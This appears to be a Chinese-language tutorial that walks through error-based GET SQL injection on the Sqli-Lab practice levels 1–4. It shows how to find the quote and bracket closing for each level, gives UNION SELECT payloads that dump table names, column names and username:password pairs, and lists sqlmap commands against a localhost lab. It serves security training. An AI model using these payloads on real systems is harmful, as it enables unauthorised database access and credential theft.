0X01 SQL注入的分类
根据根据注入位置数据类型可将SQL注入分为两类:数字型和字符型注入位置数据类型可将SQL注入分为两类:数字型和字符型
例如:
数字型:select * from table where id = 用户输入id
例如:
字符型:select * from table where id = ‘用户输入id’
0X02 GET基于报错的SQL注入发现
通过在URL中修改对应的ID值,为正常数字、大数字、字符(单引号、双引号、双单引号、括号)、反斜杠 \来探测URL中是否存在注入点。
实验:Sqli-Lab Less1~4,GET基于报错的SQL注入。
Less1 get-error based-single quotes-string
GET报错基于单引号字符串
Please input the ID as parameter with numeric value
请输入ID值作为对应参数
用GET方法进行尝试
?id=1
SELECT * FROM users WHERE id='1' LIMIT 0,1
出现对应的内容
改变id的值,从1-14都会有对应的值,当id=15时,没有显示,那么id最大值为14
接下来判断是否存在注入点
id=1’
我们来分析报错内容
‘‘1’’ LIMIT 0,1’
最左边和最右边的单引号是用来闭合输出错误的字符串信息
‘1’’ LIMIT 0,1
这是错误的具体内容
sql语句为:
SELECT * FROM users WHERE id='1'' LIMIT 0,1
我们输入 1‘ 就会报错
同样的我问看一下第二关
Less2 get-error based-intiger based
get基于整数的报错
我们使用刚才的方式进行测试
id=1
id=1‘
分析报错内容
‘’ LIMIT 0,1’
最左边和最右边的单引号是用来闭合输出错误的字符串信息
’ LIMIT 0,1
这是错误的具体内容
sql语句为:
SELECT * FROM users WHERE id=1' LIMIT 0,1
我们再来看一下第三关
Less3 get-error based-single quotes with twist-string
GET报错基于单引号和括号字符串
同样的方式再来进行测试
id=1
返回正常的信息
id=1’
分析报错内容
‘‘1’’) LIMIT 0,1’
最左边和最右边的单引号是用来闭合输出错误的字符串信息
‘1’’) LIMIT 0,1
这是错误的具体内容
sql语句为:
SELECT * FROM users WHERE id=('1'') LIMIT 0,1
这里我们使用注释看一下,我们对于闭合符的判断是否正确
显示正常内容
sql语句为:
SELECT * FROM users WHERE id=('1') -- ') LIMIT 0,1
我们再来看第四关
Less4 get-error based-double quotes-string
GET报错基于双引号字符串
进行测试
id=1
id=1‘
没有报错,我们想一下原因是什么
因为使用双引号闭合,我们输入的任何数据都会被当作字符串处理,不论我们输入多少单引号和括号都会显示正常
那么我们使用双引号进行错误分析
‘“1"”) LIMIT 0,1’
最左边和最右边的单引号是用来闭合输出错误的字符串信息
“1"”) LIMIT 0,1
这是错误的具体内容
sql语句为:
SELECT * FROM users WHERE id=("1"") LIMIT 0,1
我们使用注释进行验证
显示正常
以上介绍了如何用字符进行探测,接下来讲解如何利用漏洞
0X03 GET基于报错的SQL注入利用
1、利用order by 判断字段数。(建议采用二分法)
id=1’ order by 3 --+
id=1’ order by 4 --+
2、利用union select 联合查询,获取表名。
id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
3、利用union select 联合查询,获取字段名。
id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
4、利用union select 联合查询,获取字段值。
id=0' union select 1,group_concat(username,0x3a,password),3 from users--+
Less1-4同理自己尝试一下
0X04 利用Sqlmap测试
获取数据库名称
sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --dbs --batch
获取表名
sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security --tables --batch
获取字段名
sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T users --columns --batch
获取内容
sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T users -C "username,password" --dump
【渗透工具】sqlmap下载安装详细教程Windows/Linux(图文)
-----E-----N-----D-----
😄如有问题,请各位师傅斧正,你的支持是我最大的动力。